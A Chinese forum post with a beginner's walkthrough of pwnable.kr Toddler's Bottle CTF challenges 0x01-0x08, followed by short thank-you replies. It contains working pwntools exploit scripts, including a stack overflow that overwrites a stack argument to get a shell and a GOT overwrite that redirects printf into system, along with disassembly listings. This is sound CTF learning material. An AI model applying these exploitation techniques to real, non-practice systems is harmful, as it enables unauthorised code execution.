Y1rannn 发表于 2022-3-29 00:36

Yirannn's pwnable入门笔记(0x01-0x08)

# pwnable.kr Toddler's Bottle 0x08

因为又打算拓宽技术栈嘛, 这两天开了Win内核和pwn的坑, 学长推荐从pwnable.kr看起, 那就pwn它一pwn好了

52pojie上, 16年是有人写过Toddler's Bottle的, 但是就到第五题(而且有些地方不太对劲...), 这里就不删了

## Toddler's Bottle

### 0x01. fd

!(https://tianyu.xin/usr/uploads/2022/03/2263722440.png)


给了一个bin, 一个源代码, 如果输入符合条件可以catflag,fd = argv转int后-0x1234, 然后从这里read

显然我们构造一个stdin进去就好了

!(https://tianyu.xin/usr/uploads/2022/03/3554760697.png)


把0x1234放para里, 然后他就从stdin读buf, buf是LETMEWIN就好了

### 0x02. collision

题型一样的, 这是代码

!(https://tianyu.xin/usr/uploads/2022/03/2170791614.png)


扔进去20个字符, 每四个一组按int解释, 最后加和要是0x21DD09EC

一开始直接扔进去21DD09EC发现不行, 因为后面00会导致strlen长度不对

那没事, 第一个扔进去0x21DD09EC-0x01010101*4, 后面16个char全写0x1

!(https://tianyu.xin/usr/uploads/2022/03/3819112644.png)


注意一下端序问题, 这个int的内存排布应该是E8 05 D9 1D

!(https://tianyu.xin/usr/uploads/2022/03/456814759.png)


### 0x03. bof

```cpp
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme;
        printf("overflow me : ");
        gets(overflowme);        // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
```

很显然的栈溢出

!(https://tianyu.xin/usr/uploads/2022/03/500670385.png)


从s盖到arg_0, 让arg_0是0xCAFEBABE就可以了, 0x2C+0x8

!(https://tianyu.xin/usr/uploads/2022/03/459622700.png)


大意了, 有Canary, 不过这个ret2text应该不会受canary影响, 我把52写成0x52了

```python
from pwn import *

# proc = process('./bof')
proc = remote('pwnable.kr', 9000)
# context.log_level = 'debug'

payload = b'A' * 52 + p32(0xCAFEBABE)
proc.sendline(payload)
proc.interactive()
```

!(https://tianyu.xin/usr/uploads/2022/03/3894215250.png)


### 0x04. flag

逆向题, 这是老本行啊, 64壳, 晕, 我最讨厌壳了. 进去看到这个

!(https://tianyu.xin/usr/uploads/2022/03/2940761926.png)


啊, 那没事了, upx -d 一把梭

!(https://tianyu.xin/usr/uploads/2022/03/2289875629.png)


没有任何难度.

### 0x05. passcode

```cpp
void login(){
      int passcode1;
      int passcode2;
      printf("enter passcode1 : ");
      scanf("%d", passcode1);
      printf("enter passcode2 : ");
      scanf("%d", passcode2);

      printf("checking...\n");
      if(passcode1==338150 && passcode2==13371337){
                system("/bin/cat flag");
      }
}
void welcome(){
      char name;
      printf("enter you name : ");
      scanf("%100s", name);
      printf("Welcome %s!\n", name);
}
```

只留关键函数了, 第一眼被骗了, 把338150输入上去发现段错误, 是passcode前面没有&

!(https://tianyu.xin/usr/uploads/2022/03/2144622346.png)


先调用welcome后调用login, 我猜测如果对name做合适的写的话, name的值会保留在栈上, 如果我们能知道这两个函数的内存排布, 把passcode1和passcode2的值都改成它们的地址, 那scanf的时候就正确了, AT&T格式差点给我看吐了, 还是Intel好

```asm
08048564 <login>:
8048564:       55                      push   ebp
8048565:       89 e5                   mov    ebp,esp
8048567:       83 ec 28                sub    esp,0x28
804856a:       b8 70 87 04 08          mov    eax,0x8048770
804856f:       89 04 24                mov    DWORD PTR ,eax
8048572:       e8 a9 fe ff ff          call   8048420 <printf@plt>
8048577:       b8 83 87 04 08          mov    eax,0x8048783
804857c:       8b 55 f0                mov    edx,DWORD PTR
804857f:       89 54 24 04             mov    DWORD PTR ,edx
8048583:       89 04 24                mov    DWORD PTR ,eax
8048586:       e8 15 ff ff ff          call   80484a0 <__isoc99_scanf@plt>
804858b:       a1 2c a0 04 08          mov    eax,ds:0x804a02c
8048590:       89 04 24                mov    DWORD PTR ,eax
8048593:       e8 98 fe ff ff          call   8048430 <fflush@plt>
8048598:       b8 86 87 04 08          mov    eax,0x8048786
804859d:       89 04 24                mov    DWORD PTR ,eax
80485a0:       e8 7b fe ff ff          call   8048420 <printf@plt>
80485a5:       b8 83 87 04 08          mov    eax,0x8048783
80485aa:       8b 55 f4                mov    edx,DWORD PTR
80485ad:       89 54 24 04             mov    DWORD PTR ,edx
80485b1:       89 04 24                mov    DWORD PTR ,eax
80485b4:       e8 e7 fe ff ff          call   80484a0 <__isoc99_scanf@plt>
80485b9:       c7 04 24 99 87 04 08    mov    DWORD PTR ,0x8048799
80485c0:       e8 8b fe ff ff          call   8048450 <puts@plt>
80485c5:       81 7d f0 e6 28 05 00    cmp    DWORD PTR ,0x528e6
80485cc:       75 23                   jne    80485f1 <login+0x8d>
80485ce:       81 7d f4 c9 07 cc 00    cmp    DWORD PTR ,0xcc07c9
80485d5:       75 1a                   jne    80485f1 <login+0x8d>
80485d7:       c7 04 24 a5 87 04 08    mov    DWORD PTR ,0x80487a5
80485de:       e8 6d fe ff ff          call   8048450 <puts@plt>
80485e3:       c7 04 24 af 87 04 08    mov    DWORD PTR ,0x80487af
80485ea:       e8 71 fe ff ff          call   8048460 <system@plt>
80485ef:       c9                      leave
80485f0:       c3                      ret
80485f1:       c7 04 24 bd 87 04 08    mov    DWORD PTR ,0x80487bd
80485f8:       e8 53 fe ff ff          call   8048450 <puts@plt>
80485fd:       c7 04 24 00 00 00 00    mov    DWORD PTR ,0x0
8048604:       e8 77 fe ff ff          call   8048480 <exit@plt>

08048609 <welcome>:
8048609:       55                      push   ebp
804860a:       89 e5                   mov    ebp,esp
804860c:       81 ec 88 00 00 00       sub    esp,0x88
8048612:       65 a1 14 00 00 00       mov    eax,gs:0x14
8048618:       89 45 f4                mov    DWORD PTR ,eax
804861b:       31 c0                   xor    eax,eax
804861d:       b8 cb 87 04 08          mov    eax,0x80487cb
8048622:       89 04 24                mov    DWORD PTR ,eax
8048625:       e8 f6 fd ff ff          call   8048420 <printf@plt>
804862a:       b8 dd 87 04 08          mov    eax,0x80487dd
804862f:       8d 55 90                lea    edx,
8048632:       89 54 24 04             mov    DWORD PTR ,edx
8048636:       89 04 24                mov    DWORD PTR ,eax
8048639:       e8 62 fe ff ff          call   80484a0 <__isoc99_scanf@plt>
804863e:       b8 e3 87 04 08          mov    eax,0x80487e3
8048643:       8d 55 90                lea    edx,
8048646:       89 54 24 04             mov    DWORD PTR ,edx
804864a:       89 04 24                mov    DWORD PTR ,eax
804864d:       e8 ce fd ff ff          call   8048420 <printf@plt>
8048652:       8b 45 f4                mov    eax,DWORD PTR
8048655:       65 33 05 14 00 00 00    xor    eax,DWORD PTR gs:0x14
804865c:       74 05                   je   8048663 <welcome+0x5a>
804865e:       e8 dd fd ff ff          call   8048440 <__stack_chk_fail@plt>
8048663:       c9                      leave
8048664:       c3                      ret

08048665 <main>:
8048665:       55                      push   ebp
8048666:       89 e5                   mov    ebp,esp
8048668:       83 e4 f0                and    esp,0xfffffff0
804866b:       83 ec 10                sub    esp,0x10
804866e:       c7 04 24 f0 87 04 08    mov    DWORD PTR ,0x80487f0
8048675:       e8 d6 fd ff ff          call   8048450 <puts@plt>
804867a:       e8 8a ff ff ff          call   8048609 <welcome>
804867f:       e8 e0 fe ff ff          call   8048564 <login>
8048684:       c7 04 24 18 88 04 08    mov    DWORD PTR ,0x8048818
804868b:       e8 c0 fd ff ff          call   8048450 <puts@plt>
8048690:       b8 00 00 00 00          mov    eax,0x0
8048695:       c9                      leave
8048696:       c3                      ret
```

可以看到passcode1和2分别在ebp-0x10, ebp-0xC处, 而buf在ebp-0x70, 只能改到0xC 所以我们只能改passcode1, 但是呢, scanf到passcode1的这个操作还会是的我们又能任意地址写一次.

可能这么说让你有些凌乱, 继续看下去:

没有地址随机化这可以让我们完成这个攻击流程:

通过对name的输入把passcode1的初始值改为printf函数, -> 进入login会使得向printf这个函数的got表地址写入一个int, 我们把这个int构造到0x80485e3,

这样当调用printf的时候实际上是call 0x80485e3, 也就会直接走向system了.

构造这样的exp:

```python
>>> from pwn import *
>>> proc = process('./passcode')
Starting local process './passcode'
[+] Starting local process './passcode': pid 56911
>>> printf_got = 0x804A000
>>> sys_addr = 0x80485e3
>>> payload = 'A' * 96 + p32(printf_got)+ '\n'
>>> proc.sendline(payload)
>>> proc.recvline()
"Toddler's Secure Login System 1.0 beta.\n"
>>> proc.recvline()
'enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!\n'
>>> payload = str(sys_addr) + '\n'
>>> proc.sendline(payload)
>>> proc.recvline
<bound method process.recvline of <pwnlib.tubes.process.process object at 0x7f6ae66acf90>>
>>> proc.recvline()
[*] Process './passcode' stopped with exit code 0 (pid 56911)
'Sorry mom.. I got confused about scanf usage :(\n'
```

### 0x06. random

```c
#include <stdio.h>

int main(){
      unsigned int random;
      random = rand();      // random value!

      unsigned int key=0;
      scanf("%d", &key);

      if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
      }

      printf("Wrong, maybe you should try 2^32 cases.\n");
      return 0;
}
```

众所周知C的随机数是伪随机, 别说用time0做种子能攻击, 这个根本不设置种子必死啊

本地直接一个rand测试一下第一个rand是0x6b8b4567

!(https://tianyu.xin/usr/uploads/2022/03/45081462.png)


输入即可

!(https://tianyu.xin/usr/uploads/2022/03/2381366468.png)


### 0x07. input

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
      printf("Welcome to pwnable.kr\n");
      printf("Let's see if you know how to give input to program\n");
      printf("Just give me correct inputs then you will get the flag :)\n");

      // argv
      if(argc != 100) return 0;
      if(strcmp(argv['A'],"\x00")) return 0;
      if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
      printf("Stage 1 clear!\n");

      // stdio
      char buf;
      read(0, buf, 4);
      if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
      read(2, buf, 4);
      if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
      printf("Stage 2 clear!\n");

      // env
      if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
      printf("Stage 3 clear!\n");

      // file
      FILE* fp = fopen("\x0a", "r");
      if(!fp) return 0;
      if( fread(buf, 4, 1, fp)!=1 ) return 0;
      if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
      fclose(fp);
      printf("Stage 4 clear!\n");

      // network
      int sd, cd;
      struct sockaddr_in saddr, caddr;
      sd = socket(AF_INET, SOCK_STREAM, 0);
      if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
      }
      saddr.sin_family = AF_INET;
      saddr.sin_addr.s_addr = INADDR_ANY;
      saddr.sin_port = htons( atoi(argv['C']) );
      if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
      }
      listen(sd, 1);
      int c = sizeof(struct sockaddr_in);
      cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
      if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
      }
      if( recv(cd, buf, 4, 0) != 4 ) return 0;
      if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
      printf("Stage 5 clear!\n");

      // here's your flag
      system("/bin/cat flag");
      return 0;
}
```

五个阶段, 第一个阶段要求有100个para, 其中0x41为\x00, 0x42是\x20, \x0a, \x0d, 不难

```python
para = ['\x00'] * 100
para = './input'
para = '\x20\x0a\x0d'
proc = process(para)
proc.recvuntil('clear!\n')
```

第二阶段要求向stdin和stderr分别写入两段数据

```python
proc=process(para, stderr=PIPE)
proc.sendline('\x00\x0a\x00\xff')
proc.stderr.write('\x00\x0a\x02\xff')
proc.recvline()
```

emm.. 这个stderr不让我写啊.. 换个方式

```python
rer, wer = os.pipe()
os.write(wer, '\x00\x0a\x02\xff')
```

顺便把env也带上

```python
from pwn import *
import os
para = ['\x00'] * 100
para = './input'
para = '\x20\x0a\x0d'
rer, wer = os.pipe()
os.write(wer, '\x00\x0a\x02\xff')
env = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
proc.sendline('\x00\x0a\x00\xff')
proc.recvuntil('clear!\n')
```

!(https://tianyu.xin/usr/uploads/2022/03/2073966528.png)


第四关是提供一个名字0xa的文件句柄, 让它读4个\x00, 啥也不是

```python
fp = open("\x0a", "wb")
fp.write('\x00\x00\x00\x00')
fp.close()
```

!(https://tianyu.xin/usr/uploads/2022/03/2065295958.png)


额, 这是题目bug吧.. 我没权限怎么搞

!(https://tianyu.xin/usr/uploads/2022/03/1930943731.png)


当前目录没戏了, 看看tmp

!(https://tianyu.xin/usr/uploads/2022/03/412152481.png)


tmp可以, 写! 不过不能读就离谱

```python
fp = open("/tmp/\x0a", "wb")
fp.write('\x00\x00\x00\x00')
fp.close()
para = '/home/input2/input'
proc = process(para, stderr = rer, env = env, cwd="/tmp/")
```

!(https://tianyu.xin/usr/uploads/2022/03/2098716382.png)


第五个阶段是socket服务端, 客户端连上来给个deadbeef, 端口是argv, 这里直接整理一个完整的exp

```python
from pwn import *
import os
para = ['\x00'] * 100
para = './input'
para = '\x20\x0a\x0d'
para = '1245'
rer, wer = os.pipe()
os.write(wer, '\x00\x0a\x02\xff')
env = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
fp = open("/tmp/\x0a", "wb")
fp.write('\x00\x00\x00\x00')
fp.close()
para = '/home/input2/input'
proc = process(para, stderr = rer, env = env, cwd="/tmp/")
proc.sendline('\x00\x0a\x00\xff')
proc.recvuntil('clear!\n')
proc.recvuntil('clear!\n')
proc.recvuntil('clear!\n')
proc.recvuntil('clear!\n')
s = socket.socket()
s.connect(('localhost', 1245))
s.send('\xde\xad\xbe\xef')
proc.interactive()
```

不对, 这还是有bug, 改工作目录之后读不到flag, 来个软链接

```sh
ln -s /home/input2/flag /tmp/flag
```

### 0x08. leg

```cpp
#include <stdio.h>
#include <fcntl.h>
int key1(){
        asm("mov r3, pc\n");
}
int key2(){
        asm(
        "push        {r6}\n"
        "add        r6, pc, $1\n"
        "bx        r6\n"
        ".code   16\n"
        "mov        r3, pc\n"
        "add        r3, $0x4\n"
        "push        {r3}\n"
        "pop        {pc}\n"
        ".code        32\n"
        "pop        {r6}\n"
        );
}
int key3(){
        asm("mov r3, lr\n");
}
int main(){
        int key=0;
        printf("Daddy has very strong arm! : ");
        scanf("%d", &key);
        if( (key1()+key2()+key3()) == key ){
                printf("Congratz!\n");
                int fd = open("flag", O_RDONLY);
                char buf;
                int r = read(fd, buf, 100);
                write(0, buf, r);
        }
        else{
                printf("I have strong leg :P\n");
        }
        return 0;
}
```

key1 :

!(https://tianyu.xin/usr/uploads/2022/03/2318573571.png)


0x8cdc+8

!(https://tianyu.xin/usr/uploads/2022/03/2455125123.png)


太坑了...我不知道这件事

key2 :

!(https://tianyu.xin/usr/uploads/2022/03/1672556856.png)


r6 : 0x8cfc+0x8+0x1 = 0x8D05, bx转thumb, pc = 8d08, r3 = pc+4 = 8d0c

!(https://tianyu.xin/usr/uploads/2022/03/658555752.png)


返回地址, 记得再下一条

!(https://tianyu.xin/usr/uploads/2022/03/1695908230.png)


ans = 0x8d0c + 0x8ce4 + 0x8d80 = 108400

!(https://tianyu.xin/usr/uploads/2022/03/1773426753.png)


难度倒是不大, 但是这个arm pc的问题实在是没见过, 长见识了

Y1rannn 发表于 2022-3-30 14:52

icjhao 发表于 2022-3-30 06:55
学这个需要什么参考什么教材吗

我没有什么参考教材, 学一点基础的操作系统知识就去CTF-wiki上看了

lishufeng 发表于 2022-3-29 09:14

海尔波普彗星 发表于 2022-3-29 09:15

谢谢分享,支持一下

ricky2196 发表于 2022-3-29 09:19

感谢楼主分享!收藏了

kobeLau 发表于 2022-3-29 09:54

谢谢分享,支持一下

JieW_L 发表于 2022-3-29 10:03

不是不让记笔记了

海尔波普彗星 发表于 2022-3-29 10:15

谢谢分享,支持一下

sandon 发表于 2022-3-29 10:28

支持一下!

Y1rannn 发表于 2022-3-29 11:05

JieW_L 发表于 2022-3-29 10:03
不是不让记笔记了

那改个名, 题解

200132xp 发表于 2022-3-30 00:29

谢谢楼主的分享
页: [1] 2
查看完整版本: Yirannn's pwnable入门笔记(0x01-0x08)